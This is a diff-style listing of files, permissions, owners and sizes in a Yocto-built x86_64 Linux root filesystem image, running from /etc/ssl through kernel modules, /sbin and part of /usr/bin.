+lrwxrwxrwx root root 67 ./etc/ssl/certs/XRamp_Global_CA_Root.pem -> ../../../usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt
+-rw-r--r-- root root 10909 ./etc/ssl/openssl.cnf
+drwxr-xr-x root root 4096 ./etc/ssl/private
+-rw-r--r-- root root 2128 ./etc/sysctl.conf
+-rw-r--r-- root root 69 ./etc/syslog.conf
+-rw-r--r-- root root 651 ./etc/syslog-startup.conf
+drwxr-xr-x root root 4096 ./etc/terminfo
+drwxr-xr-x root root 4096 ./etc/terminfo/a
+-rw-r--r-- root root 1481 ./etc/terminfo/a/ansi
+drwxr-xr-x root root 4096 ./etc/terminfo/d
+-rw-r--r-- root root 308 ./etc/terminfo/d/dumb
+drwxr-xr-x root root 4096 ./etc/terminfo/l
+-rw-r--r-- root root 1730 ./etc/terminfo/l/linux
+drwxr-xr-x root root 4096 ./etc/terminfo/r
+-rw-r--r-- root root 2222 ./etc/terminfo/r/rxvt
+drwxr-xr-x root root 4096 ./etc/terminfo/s
+-rw-r--r-- root root 1573 ./etc/terminfo/s/screen
+-rw-r--r-- root root 1687 ./etc/terminfo/s/screen-256color
+-rw-r--r-- root root 1004 ./etc/terminfo/s/sun
+drwxr-xr-x root root 4096 ./etc/terminfo/v
+-rw-r--r-- root root 1190 ./etc/terminfo/v/vt100
+-rw-r--r-- root root 1184 ./etc/terminfo/v/vt102
+-rw-r--r-- root root 1377 ./etc/terminfo/v/vt200
+-rw-r--r-- root root 1377 ./etc/terminfo/v/vt220
+-rw-r--r-- root root 470 ./etc/terminfo/v/vt52
+drwxr-xr-x root root 4096 ./etc/terminfo/x
+-rw-r--r-- root root 3780 ./etc/terminfo/x/xterm-256color
+-rw-r--r-- root root 1551 ./etc/terminfo/x/xterm-color
+-rw-r--r-- root root 2240 ./etc/terminfo/x/xterm-xfree86
+lrwxrwxrwx root root 11 ./etc/terminfo/x/xterm -> xterm-color
+-rw-r--r-- root root 15 ./etc/timestamp
+drwxr-xr-x root root 4096 ./etc/udev
+drwxr-xr-x root root 4096 ./etc/udev/rules.d
+-rw-r--r-- root root 0 ./etc/udev/rules.d/80-net-name-slot.rules
+-rw-r--r-- root root 885 ./etc/udev/rules.d/local.rules
+-rw-r--r-- root root 49 ./etc/udev/udev.conf
+drwxr-xr-x root root 4096 ./etc/udhcpc.d
+-rwxr-xr-x root root 2652 ./etc/udhcpc.d/50default
+-rw-r--r-- root root 15 ./etc/version
+-rw-r--r-- root root 642 ./etc/xattr.conf
+drwxr-xr-x root root 4096 ./home
+drwx------ root root 4096 ./home/root
+drwxr-xr-x root root 4096 ./lib
+drwxr-xr-x root root 4096 ./lib/depmod.d
+-rw-r--r-- root root 71 ./lib/depmod.d/search.conf
+-rwxr-xr-x root root 177712 ./lib/ld-2.31.so
+lrwxrwxrwx root root 10 ./lib/ld-linux-x86-64.so.2 -> ld-2.31.so
+-rwxr-xr-x root root 18696 ./lib/libanl-2.31.so
+lrwxrwxrwx root root 14 ./lib/libanl.so.1 -> libanl-2.31.so
+-rwxr-xr-x root root 326600 ./lib/libblkid.so.1.1.0
+lrwxrwxrwx root root 17 ./lib/libblkid.so.1 -> libblkid.so.1.1.0
+-rwxr-xr-x root root 14296 ./lib/libBrokenLocale-2.31.so
+lrwxrwxrwx root root 23 ./lib/libBrokenLocale.so.1 -> libBrokenLocale-2.31.so
+-rwxr-xr-x root root 1806504 ./lib/libc-2.31.so
+-rwxr-xr-x root root 26512 ./lib/libcap-ng.so.0.0.0
+lrwxrwxrwx root root 18 ./lib/libcap-ng.so.0 -> libcap-ng.so.0.0.0
+-rw-r--r-- root root 38832 ./lib/libcap.so.2.34
+lrwxrwxrwx root root 14 ./lib/libcap.so.2 -> libcap.so.2.34
+lrwxrwxrwx root root 11 ./lib/libcap.so -> libcap.so.2
+-rwxr-xr-x root root 18320 ./lib/libcom_err.so.2.1
+lrwxrwxrwx root root 17 ./lib/libcom_err.so.2 -> libcom_err.so.2.1
+lrwxrwxrwx root root 15 ./lib/libcom_err.so -> libcom_err.so.2
+lrwxrwxrwx root root 12 ./lib/libc.so.6 -> libc-2.31.so
+-rwxr-xr-x root root 14360 ./lib/libdl-2.31.so
+lrwxrwxrwx root root 13 ./lib/libdl.so.2 -> libdl-2.31.so
+-rwxr-xr-x root root 44616 ./lib/libe2p.so.2.3
+lrwxrwxrwx root root 13 ./lib/libe2p.so.2 -> libe2p.so.2.3
+lrwxrwxrwx root root 11 ./lib/libe2p.so -> libe2p.so.2
+-rwxr-xr-x root root 426264 ./lib/libext2fs.so.2.4
+lrwxrwxrwx root root 16 ./lib/libext2fs.so.2 -> libext2fs.so.2.4
+lrwxrwxrwx root root 14 ./lib/libext2fs.so -> libext2fs.so.2
+-rwxr-xr-x root root 440104 ./lib/libfdisk.so.1.1.0
+lrwxrwxrwx root root 17 ./lib/libfdisk.so.1 -> libfdisk.so.1.1.0
+-rw-r--r-- root root 132 ./lib/libgcc_s.so
+-rw-r--r-- root root 100248 ./lib/libgcc_s.so.1
+-rwxr-xr-x root root 1312800 ./lib/libm-2.31.so
+-rwxr-xr-x root root 379432 ./lib/libmount.so.1.1.0
+lrwxrwxrwx root root 17 ./lib/libmount.so.1 -> libmount.so.1.1.0
+lrwxrwxrwx root root 12 ./lib/libm.so.6 -> libm-2.31.so
+-rwxr-xr-x root root 174104 ./lib/libmvec-2.31.so
+lrwxrwxrwx root root 15 ./lib/libmvec.so.1 -> libmvec-2.31.so
+-rwxr-xr-x root root 157512 ./lib/libncurses.so.5.9
+lrwxrwxrwx root root 17 ./lib/libncurses.so.5 -> libncurses.so.5.9
+-rwxr-xr-x root root 210760 ./lib/libncursesw.so.5.9
+lrwxrwxrwx root root 18 ./lib/libncursesw.so.5 -> libncursesw.so.5.9
+-rwxr-xr-x root root 92184 ./lib/libnsl-2.31.so
+lrwxrwxrwx root root 14 ./lib/libnsl.so.1 -> libnsl-2.31.so
+-rwxr-xr-x root root 35288 ./lib/libnss_compat-2.31.so
+lrwxrwxrwx root root 21 ./lib/libnss_compat.so.2 -> libnss_compat-2.31.so
+-rwxr-xr-x root root 30752 ./lib/libnss_db-2.31.so
+lrwxrwxrwx root root 17 ./lib/libnss_db.so.2 -> libnss_db-2.31.so
+-rwxr-xr-x root root 22560 ./lib/libnss_dns-2.31.so
+lrwxrwxrwx root root 18 ./lib/libnss_dns.so.2 -> libnss_dns-2.31.so
+-rwxr-xr-x root root 51232 ./lib/libnss_files-2.31.so
+lrwxrwxrwx root root 20 ./lib/libnss_files.so.2 -> libnss_files-2.31.so
+-rwxr-xr-x root root 22560 ./lib/libnss_hesiod-2.31.so
+lrwxrwxrwx root root 21 ./lib/libnss_hesiod.so.2 -> libnss_hesiod-2.31.so
+-rwxr-xr-x root root 113296 ./lib/libpthread-2.31.so
+lrwxrwxrwx root root 18 ./lib/libpthread.so.0 -> libpthread-2.31.so
+-rwxr-xr-x root root 88320 ./lib/libresolv-2.31.so
+lrwxrwxrwx root root 17 ./lib/libresolv.so.2 -> libresolv-2.31.so
+-rwxr-xr-x root root 39328 ./lib/librt-2.31.so
+lrwxrwxrwx root root 13 ./lib/librt.so.1 -> librt-2.31.so
+-rwxr-xr-x root root 231528 ./lib/libsmartcols.so.1.1.0
+lrwxrwxrwx root root 21 ./lib/libsmartcols.so.1 -> libsmartcols.so.1.1.0
+-rwxr-xr-x root root 34704 ./lib/libss.so.2.0
+lrwxrwxrwx root root 12 ./lib/libss.so.2 -> libss.so.2.0
+lrwxrwxrwx root root 10 ./lib/libss.so -> libss.so.2
+-rwxr-xr-x root root 35416 ./lib/libthread_db-1.0.so
+lrwxrwxrwx root root 19 ./lib/libthread_db.so.1 -> libthread_db-1.0.so
+-rwxr-xr-x root root 175208 ./lib/libtinfo.so.5.9
+lrwxrwxrwx root root 15 ./lib/libtinfo.so.5 -> libtinfo.so.5.9
+-rwxr-xr-x root root 157912 ./lib/libudev.so.1.6.3
+lrwxrwxrwx root root 16 ./lib/libudev.so.1 -> libudev.so.1.6.3
+-rwxr-xr-x root root 14360 ./lib/libutil-2.31.so
+lrwxrwxrwx root root 15 ./lib/libutil.so.1 -> libutil-2.31.so
+-rwxr-xr-x root root 30752 ./lib/libuuid.so.1.3.0
+lrwxrwxrwx root root 16 ./lib/libuuid.so.1 -> libuuid.so.1.3.0
+-rwxr-xr-x root root 39816 ./lib/libwrap.so.0.7.6
+lrwxrwxrwx root root 16 ./lib/libwrap.so.0 -> libwrap.so.0.7.6
+-rwxr-xr-x root root 100312 ./lib/libz.so.1.2.11
+lrwxrwxrwx root root 14 ./lib/libz.so.1 -> libz.so.1.2.11
+drwxr-xr-x root root 4096 ./lib/modprobe.d
+drwxr-xr-x root root 4096 ./lib/modules
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/drivers
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/drivers/video
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/drivers/video/fbdev
+-rw-r--r-- root root 46440 ./lib/modules/5.4.43-yocto-standard/kernel/drivers/video/fbdev/uvesafb.ko
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/net
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv4
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv4/netfilter
+-rw-r--r-- root root 6912 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv4/netfilter/iptable_filter.ko
+-rw-r--r-- root root 6272 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv4/netfilter/iptable_nat.ko
+-rw-r--r-- root root 32144 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv4/netfilter/ip_tables.ko
+-rw-r--r-- root root 6160 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv4/netfilter/nf_defrag_ipv4.ko
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv6
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv6/netfilter
+-rw-r--r-- root root 6928 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv6/netfilter/ip6table_filter.ko
+-rw-r--r-- root root 32640 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv6/netfilter/ip6_tables.ko
+-rw-r--r-- root root 16472 ./lib/modules/5.4.43-yocto-standard/kernel/net/ipv6/netfilter/nf_defrag_ipv6.ko
+drwxr-xr-x root root 4096 ./lib/modules/5.4.43-yocto-standard/kernel/net/netfilter
+-rw-r--r-- root root 164400 ./lib/modules/5.4.43-yocto-standard/kernel/net/netfilter/nf_conntrack.ko
+-rw-r--r-- root root 45712 ./lib/modules/5.4.43-yocto-standard/kernel/net/netfilter/nf_nat.ko
+-rw-r--r-- root root 49480 ./lib/modules/5.4.43-yocto-standard/kernel/net/netfilter/x_tables.ko
+-rw-r--r-- root root 199 ./lib/modules/5.4.43-yocto-standard/modules.alias
+-rw-r--r-- root root 443 ./lib/modules/5.4.43-yocto-standard/modules.alias.bin
+-rw-r--r-- root root 9285 ./lib/modules/5.4.43-yocto-standard/modules.builtin
+-rw-r--r-- root root 24578 ./lib/modules/5.4.43-yocto-standard/modules.builtin.alias.bin
+-rw-r--r-- root root 10874 ./lib/modules/5.4.43-yocto-standard/modules.builtin.bin
+-rw-r--r-- root root 68434 ./lib/modules/5.4.43-yocto-standard/modules.builtin.modinfo
+-rw-r--r-- root root 1099 ./lib/modules/5.4.43-yocto-standard/modules.dep
+-rw-r--r-- root root 1794 ./lib/modules/5.4.43-yocto-standard/modules.dep.bin
+-rw-r--r-- root root 0 ./lib/modules/5.4.43-yocto-standard/modules.devname
+-rw-r--r-- root root 17759 ./lib/modules/5.4.43-yocto-standard/modules.order
+-rw-r--r-- root root 55 ./lib/modules/5.4.43-yocto-standard/modules.softdep
+-rw-r--r-- root root 7817 ./lib/modules/5.4.43-yocto-standard/modules.symbols
+-rw-r--r-- root root 9233 ./lib/modules/5.4.43-yocto-standard/modules.symbols.bin
+drwxr-xr-x root root 4096 ./lib/udev
+-rwxr-xr-x root root 104640 ./lib/udev/ata_id
+-rwxr-xr-x root root 116936 ./lib/udev/cdrom_id
+-rwxr-xr-x root root 100552 ./lib/udev/collect
+-rwxr-xr-x root root 14296 ./lib/udev/mtd_probe
+drwxr-xr-x root root 4096 ./lib/udev/rules.d
+-rw-r--r-- root root 321 ./lib/udev/rules.d/01-md-raid-creating.rules
+-rw-r--r-- root root 121 ./lib/udev/rules.d/50-firmware.rules
+-rw-r--r-- root root 3677 ./lib/udev/rules.d/50-udev-default.rules
+-rw-r--r-- root root 620 ./lib/udev/rules.d/60-block.rules
+-rw-r--r-- root root 1071 ./lib/udev/rules.d/60-cdrom_id.rules
+-rw-r--r-- root root 413 ./lib/udev/rules.d/60-drm.rules
+-rw-r--r-- root root 974 ./lib/udev/rules.d/60-evdev.rules
+-rw-r--r-- root root 282 ./lib/udev/rules.d/60-input-id.rules
+-rw-r--r-- root root 616 ./lib/udev/rules.d/60-persistent-alsa.rules
+-rw-r--r-- root root 2710 ./lib/udev/rules.d/60-persistent-input.rules
+-rw-r--r-- root root 6521 ./lib/udev/rules.d/60-persistent-storage.rules
+-rw-r--r-- root root 1509 ./lib/udev/rules.d/60-persistent-storage-tape.rules
+-rw-r--r-- root root 769 ./lib/udev/rules.d/60-persistent-v4l.rules
+-rw-r--r-- root root 727 ./lib/udev/rules.d/60-sensor.rules
+-rw-r--r-- root root 1190 ./lib/udev/rules.d/60-serial.rules
+-rw-r--r-- root root 2134 ./lib/udev/rules.d/63-md-raid-arrays.rules
+-rw-r--r-- root root 387 ./lib/udev/rules.d/64-btrfs-dm.rules
+-rw-r--r-- root root 574 ./lib/udev/rules.d/64-btrfs.rules
+-rw-r--r-- root root 1444 ./lib/udev/rules.d/64-md-raid-assembly.rules
+-rw-r--r-- root root 846 ./lib/udev/rules.d/69-md-clustered-confirm-device.rules
+-rw-r--r-- root root 432 ./lib/udev/rules.d/70-joystick.rules
+-rw-r--r-- root root 734 ./lib/udev/rules.d/70-mouse.rules
+-rw-r--r-- root root 473 ./lib/udev/rules.d/70-touchpad.rules
+-rw-r--r-- root root 452 ./lib/udev/rules.d/75-net-description.rules
+-rw-r--r-- root root 174 ./lib/udev/rules.d/75-probe_mtd.rules
+-rw-r--r-- root root 4816 ./lib/udev/rules.d/78-sound-card.rules
+-rw-r--r-- root root 615 ./lib/udev/rules.d/80-drivers.rules
+-rw-r--r-- root root 491 ./lib/udev/rules.d/80-net-name-slot.rules
+-rwxr-xr-x root root 109304 ./lib/udev/scsi_id
+-rwxr-xr-x root root 67776 ./lib/udev/v4l_id
+drwxr-xr-x root root 4096 ./media
+drwxr-xr-x root root 4096 ./mnt
+dr-xr-xr-x root root 4096 ./proc
+drwxr-xr-x root root 4096 ./run
+drwxr-xr-x root root 4096 ./sbin
+-rwxr-xr-x root root 64736 ./sbin/agetty
+-rwxr-xr-x root root 34792 ./sbin/badblocks
+lrwxrwxrwx root root 22 ./sbin/blkid -> /sbin/blkid.util-linux
+-rwxr-xr-x root root 120912 ./sbin/blkid.util-linux
+lrwxrwxrwx root root 25 ./sbin/blockdev -> /sbin/blockdev.util-linux
+-rwxr-xr-x root root 63536 ./sbin/blockdev.util-linux
+-rwxr-xr-x root root 22736 ./sbin/bootlogd
+-rwxr-xr-x root root 104568 ./sbin/bridge
+-rwxr-xr-x root root 96664 ./sbin/cfdisk
+-rwxr-xr-x root root 38952 ./sbin/ctrlaltdel
+-rwxr-xr-x root root 239064 ./sbin/debugfs
+lrwxrwxrwx root root 11 ./sbin/depmod.kmod -> ../bin/kmod
+lrwxrwxrwx root root 17 ./sbin/depmod -> /sbin/depmod.kmod
+-rwxr-xr-x root root 30768 ./sbin/dumpe2fs
+-rwxr-xr-x root root 14376 ./sbin/e2freefrag
+-rwxr-xr-x root root 330808 ./sbin/e2fsck
+-rwxr-xr-x root root 38952 ./sbin/e2image
+-rwxr-xr-x root root 30768 ./sbin/e2mmpstatus
+-rwxr-xr-x root root 22560 ./sbin/e2undo
+-rwxr-xr-x root root 26656 ./sbin/e4crypt
+-rwxr-xr-x root root 34776 ./sbin/e4defrag
+lrwxrwxrwx root root 22 ./sbin/fdisk -> /sbin/fdisk.util-linux
+-rwxr-xr-x root root 149600 ./sbin/fdisk.util-linux
+-rwxr-xr-x root root 18416 ./sbin/filefrag
+-rwxr-xr-x root root 330808 ./sbin/fsck.ext2
+-rwxr-xr-x root root 330808 ./sbin/fsck.ext3
+-rwxr-xr-x root root 330808 ./sbin/fsck.ext4
+lrwxrwxrwx root root 21 ./sbin/fsck -> /sbin/fsck.util-linux
+-rwxr-xr-x root root 55392 ./sbin/fsck.util-linux
+-rwxr-xr-x root root 14296 ./sbin/fstab-decode
+lrwxrwxrwx root root 23 ./sbin/fstrim -> /sbin/fstrim.util-linux
+-rwxr-xr-x root root 71728 ./sbin/fstrim.util-linux
+lrwxrwxrwx root root 12 ./sbin/getty -> /sbin/agetty
+lrwxrwxrwx root root 19 ./sbin/halt -> /sbin/halt.sysvinit
+-rwsr-xr-- root shutdown 22512 ./sbin/halt.sysvinit
+lrwxrwxrwx root root 24 ./sbin/hwclock -> /sbin/hwclock.util-linux
+-rwxr-xr-x root root 80048 ./sbin/hwclock.util-linux
+-rwxr-xr-x root root 3109 ./sbin/ifcfg
+lrwxrwxrwx root root 19 ./sbin/ifconfig -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/ifdown -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/ifup -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/init -> /sbin/init.sysvinit
+-rwxr-xr-x root root 47944 ./sbin/init.sysvinit
+lrwxrwxrwx root root 11 ./sbin/insmod.kmod -> ../bin/kmod
+lrwxrwxrwx root root 17 ./sbin/insmod -> /sbin/insmod.kmod
+-rwxr-xr-x root root 619960 ./sbin/ip.iproute2
+lrwxrwxrwx root root 17 ./sbin/ip -> /sbin/ip.iproute2
+-rwxr-xr-x root root 26664 ./sbin/killall5
+lrwxrwxrwx root root 19 ./sbin/klogd -> /bin/busybox.nosuid
+-rwxr-xr-x root root 887640 ./sbin/ldconfig
+lrwxrwxrwx root root 19 ./sbin/loadkmap -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./sbin/logread -> /bin/busybox.nosuid
+-rwxr-xr-x root root 14296 ./sbin/logsave
+lrwxrwxrwx root root 24 ./sbin/losetup -> /sbin/losetup.util-linux
+-rwxr-xr-x root root 112808 ./sbin/losetup.util-linux
+lrwxrwxrwx root root 15 ./sbin/lsmod -> /bin/lsmod.kmod
+-rwxr-xr-x root root 595280 ./sbin/mdadm
+-rwxr-xr-x root root 328880 ./sbin/mdmon
+-rwxr-xr-x root root 137512 ./sbin/mke2fs.e2fsprogs
+lrwxrwxrwx root root 22 ./sbin/mke2fs -> /sbin/mke2fs.e2fsprogs
+-rwxr-xr-x root root 137512 ./sbin/mkfs.ext2.e2fsprogs
+lrwxrwxrwx root root 25 ./sbin/mkfs.ext2 -> /sbin/mkfs.ext2.e2fsprogs
+-rwxr-xr-x root root 137512 ./sbin/mkfs.ext3
+-rwxr-xr-x root root 137512 ./sbin/mkfs.ext4
+-rwxr-xr-x root root 14296 ./sbin/mklost+found
+lrwxrwxrwx root root 23 ./sbin/mkswap -> /sbin/mkswap.util-linux
+-rwxr-xr-x root root 104504 ./sbin/mkswap.util-linux
+lrwxrwxrwx root root 11 ./sbin/modinfo.kmod -> ../bin/kmod
+lrwxrwxrwx root root 18 ./sbin/modinfo -> /sbin/modinfo.kmod
+lrwxrwxrwx root root 11 ./sbin/modprobe.kmod -> ../bin/kmod
+lrwxrwxrwx root root 19 ./sbin/modprobe -> /sbin/modprobe.kmod
+lrwxrwxrwx root root 20 ./sbin/nologin -> /sbin/nologin.shadow
+-rwxr-xr-x root root 14296 ./sbin/nologin.shadow
+-rwxr-xr-x root root 14384 ./sbin/nologin.util-linux
+lrwxrwxrwx root root 27 ./sbin/pivot_root -> /sbin/pivot_root.util-linux
+-rwxr-xr-x root root 14384 ./sbin/pivot_root.util-linux
+-rwxr-xr-x root root 2460 ./sbin/populate-extfs.sh
+lrwxrwxrwx root root 23 ./sbin/poweroff -> /sbin/poweroff.sysvinit
+lrwxrwxrwx root root 13 ./sbin/poweroff.sysvinit -> halt.sysvinit
+lrwxrwxrwx root root 21 ./sbin/reboot -> /sbin/reboot.sysvinit
+lrwxrwxrwx root root 13 ./sbin/reboot.sysvinit -> halt.sysvinit
+lrwxrwxrwx root root 11 ./sbin/rmmod.kmod -> ../bin/kmod
+lrwxrwxrwx root root 16 ./sbin/rmmod -> /sbin/rmmod.kmod
+lrwxrwxrwx root root 19 ./sbin/route -> /bin/busybox.nosuid
+-rwxr-xr-x root root 208 ./sbin/routef
+-rwxr-xr-x root root 1656 ./sbin/routel
+-rwxr-xr-x root root 75832 ./sbin/rtmon
+-rwxr-xr-x root root 70 ./sbin/rtpr
+lrwxrwxrwx root root 23 ./sbin/runlevel -> /sbin/runlevel.sysvinit
+-rwxr-xr-x root root 14304 ./sbin/runlevel.sysvinit
+lrwxrwxrwx root root 19 ./sbin/setconsole -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./sbin/shutdown -> /sbin/shutdown.sysvinit
+-rwsr-xr-- root shutdown 30744 ./sbin/shutdown.sysvinit
+lrwxrwxrwx root root 19 ./sbin/start-stop-daemon -> /bin/busybox.nosuid
+lrwxrwxrwx root root 24 ./sbin/sulogin -> /sbin/sulogin.util-linux
+-rwxr-xr-x root root 47152 ./sbin/sulogin.util-linux
+lrwxrwxrwx root root 24 ./sbin/swapoff -> /sbin/swapoff.util-linux
+-rwxr-xr-x root root 22576 ./sbin/swapoff.util-linux
+lrwxrwxrwx root root 23 ./sbin/swapon -> /sbin/swapon.util-linux
+-rwxr-xr-x root root 51248 ./sbin/swapon.util-linux
+lrwxrwxrwx root root 28 ./sbin/switch_root -> /sbin/switch_root.util-linux
+-rwxr-xr-x root root 14384 ./sbin/switch_root.util-linux
+-rwxr-xr-x root root 30768 ./sbin/sysctl.procps
+lrwxrwxrwx root root 19 ./sbin/sysctl -> /sbin/sysctl.procps
+lrwxrwxrwx root root 19 ./sbin/syslogd -> /bin/busybox.nosuid
+lrwxrwxrwx root root 4 ./sbin/telinit -> init
+lrwxrwxrwx root root 16 ./sbin/udevadm -> /usr/bin/udevadm
+-rwxr-xr-x root root 334168 ./sbin/udevd
+lrwxrwxrwx root root 19 ./sbin/udhcpc -> /bin/busybox.nosuid
+-rwxr-xr-x root root 133264 ./sbin/v86d
+lrwxrwxrwx root root 17 ./sbin/vigr -> /sbin/vigr.shadow
+lrwxrwxrwx root root 11 ./sbin/vigr.shadow -> vipw.shadow
+lrwxrwxrwx root root 17 ./sbin/vipw -> /sbin/vipw.shadow
+-rwxr-xr-x root root 61496 ./sbin/vipw.shadow
+dr-xr-xr-x root root 4096 ./sys
+drwxrwxrwt root root 4096 ./tmp
+drwxr-xr-x root root 4096 ./usr
+drwxr-xr-x root root 20480 ./usr/bin
+lrwxrwxrwx root root 36 ./usr/bin/addr2line -> /usr/bin/x86_64-poky-linux-addr2line
+-rwxr-xr-x root root 43208 ./usr/bin/arch.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/arch -> /usr/bin/arch.coreutils
+lrwxrwxrwx root root 29 ./usr/bin/ar -> /usr/bin/x86_64-poky-linux-ar
+lrwxrwxrwx root root 29 ./usr/bin/as -> /usr/bin/x86_64-poky-linux-as
+-rwxr-xr-x root root 14288 ./usr/bin/attr
+lrwxrwxrwx root root 13 ./usr/bin/awk -> /usr/bin/gawk
+-rwxr-xr-x root root 63680 ./usr/bin/b2sum
+-rwxr-xr-x root root 47264 ./usr/bin/base32
+-rwxr-xr-x root root 47272 ./usr/bin/base64.coreutils
+-rwxr-xr-x root root 43176 ./usr/bin/basename.coreutils
+lrwxrwxrwx root root 27 ./usr/bin/basename -> /usr/bin/basename.coreutils
+-rwxr-xr-x root root 59552 ./usr/bin/basenc
+-rwxr-xr-x root root 96928 ./usr/bin/bc.bc
+lrwxrwxrwx root root 14 ./usr/bin/bc -> /usr/bin/bc.bc
+lrwxrwxrwx root root 19 ./usr/bin/[[ -> /bin/busybox.nosuid
+-rwxr-xr-x root root 455224 ./usr/bin/bison
+-rwxr-xr-x root root 933632 ./usr/bin/btrfs
+lrwxrwxrwx root root 5 ./usr/bin/btrfsck -> btrfs
+-rwxr-xr-x root root 531656 ./usr/bin/btrfs-convert
+-rwxr-xr-x root root 494856 ./usr/bin/btrfs-find-root
+-rwxr-xr-x root root 523456 ./usr/bin/btrfs-image
+-rwxr-xr-x root root 498888 ./usr/bin/btrfs-map-logical
+-rwxr-xr-x root root 494792 ./usr/bin/btrfs-select-super
+-rwxr-xr-x root root 494784 ./usr/bin/btrfstune
+lrwxrwxrwx root root 11 ./usr/bin/bunzip2.bzip2 -> bzip2.bzip2
+lrwxrwxrwx root root 22 ./usr/bin/bunzip2 -> /usr/bin/bunzip2.bzip2
+lrwxrwxrwx root root 11 ./usr/bin/bzcat.bzip2 -> bzip2.bzip2
+lrwxrwxrwx root root 20 ./usr/bin/bzcat -> /usr/bin/bzcat.bzip2
+lrwxrwxrwx root root 6 ./usr/bin/bzcmp -> bzdiff
+-rwxr-xr-x root root 2140 ./usr/bin/bzdiff
+lrwxrwxrwx root root 6 ./usr/bin/bzegrep -> bzgrep
+lrwxrwxrwx root root 6 ./usr/bin/bzfgrep -> bzgrep
+-rwxr-xr-x root root 2054 ./usr/bin/bzgrep
+-rwxr-xr-x root root 38952 ./usr/bin/bzip2.bzip2
+-rwxr-xr-x root root 14296 ./usr/bin/bzip2recover
+lrwxrwxrwx root root 20 ./usr/bin/bzip2 -> /usr/bin/bzip2.bzip2
+lrwxrwxrwx root root 6 ./usr/bin/bzless -> bzmore
+-rwxr-xr-x root root 1259 ./usr/bin/bzmore
+lrwxrwxrwx root root 23 ./usr/bin/cal -> /usr/bin/cal.util-linux
+-rwxr-xr-x root root 67936 ./usr/bin/cal.util-linux
+lrwxrwxrwx root root 34 ./usr/bin/c++filt -> /usr/bin/x86_64-poky-linux-c++filt
+-rwxr-xr-x root root 14288 ./usr/bin/chacl
+-rwsr-xr-x root root 71776 ./usr/bin/chage
+-rwxr-xr-x root root 71848 ./usr/bin/chcon.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/chcon -> /usr/bin/chcon.coreutils
+-rwsr-xr-x root root 54032 ./usr/bin/chfn.shadow
+lrwxrwxrwx root root 20 ./usr/bin/chfn -> /usr/bin/chfn.shadow
+-rwxr-xr-x root root 63528 ./usr/bin/chmem
+-rwxr-xr-x root root 51240 ./usr/bin/choom
+lrwxrwxrwx root root 24 ./usr/bin/chrt -> /usr/bin/chrt.util-linux
+-rwxr-xr-x root root 34864 ./usr/bin/chrt.util-linux
+-rwsr-xr-x root root 53904 ./usr/bin/chsh.shadow
+lrwxrwxrwx root root 20 ./usr/bin/chsh -> /usr/bin/chsh.shadow
+lrwxrwxrwx root root 19 ./usr/bin/chvt -> /bin/busybox.nosuid
+-rwxr-xr-x root root 43176 ./usr/bin/cksum.coreutils
+lrwxrwxrwx root root 24 ./usr/bin/cksum -> /usr/bin/cksum.coreutils
+lrwxrwxrwx root root 19 ./usr/bin/clear -> /bin/busybox.nosuid
+-rwxr-xr-x root root 47176 ./usr/bin/cmp.diffutils
+lrwxrwxrwx root root 22 ./usr/bin/cmp -> /usr/bin/cmp.diffutils
+-rwxr-xr-x root root 34848 ./usr/bin/col
+-rwxr-xr-x root root 14368 ./usr/bin/colcrt
+-rwxr-xr-x root root 30760 ./usr/bin/colrm
+-rwxr-xr-x root root 51240 ./usr/bin/column
+-rwxr-xr-x root root 51400 ./usr/bin/comm.coreutils
+lrwxrwxrwx root root 23 ./usr/bin/comm -> /usr/bin/comm.coreutils
+-rwxr-xr-x root root 1342 ./usr/bin/compile_et
+-rwxr-xr-x root root 6214 ./usr/bin/c_rehash
+-rwxr-xr-x root root 125128 ./usr/bin/csplit.coreutils
+lrwxrwxrwx root root 25 ./usr/bin/csplit -> /usr/bin/csplit.coreutils
+-rwxr-xr-x root root 55496 ./usr/bin/cut.coreutils
+lrwxrwxrwx root root 22 ./usr/bin/cut -> /usr/bin/cut.coreutils
+-rwxr-xr-x root root 14304 ./usr/bin/dbus-cleanup-sockets
+-rwxr-xr-x root root 223688 ./usr/bin/dbus-daemon
+-rwxr-xr-x root root 30680 ./usr/bin/dbus-launch
+-rwxr-xr-x root root 30688 ./usr/bin/dbus-monitor
+-rwxr-xr-x root root 14304 ./usr/bin/dbus-run-session
+-rwxr-xr-x root root 30680 ./usr/bin/dbus-send
+-rwxr-xr-x root root 26672 ./usr/bin/dbus-test-tool
+-rwxr-xr-x root root 14320 ./usr/bin/dbus-update-activation-environment
+-rwxr-xr-x root root 14296 ./usr/bin/dbus-uuidgen
+-rwxr-xr-x root root 55352 ./usr/bin/dc.bc
+lrwxrwxrwx root root 14 ./usr/bin/dc -> /usr/bin/dc.bc
+lrwxrwxrwx root root 19 ./usr/bin/deallocvt -> /bin/busybox.nosuid
+-rwxr-xr-x root root 105232 ./usr/bin/df.coreutils
+-rwxr-xr-x root root 67760 ./usr/bin/diff3
+-rwxr-xr-x root root 223544 ./usr/bin/diff.diffutils
+lrwxrwxrwx root root 23 ./usr/bin/diff -> /usr/bin/diff.diffutils
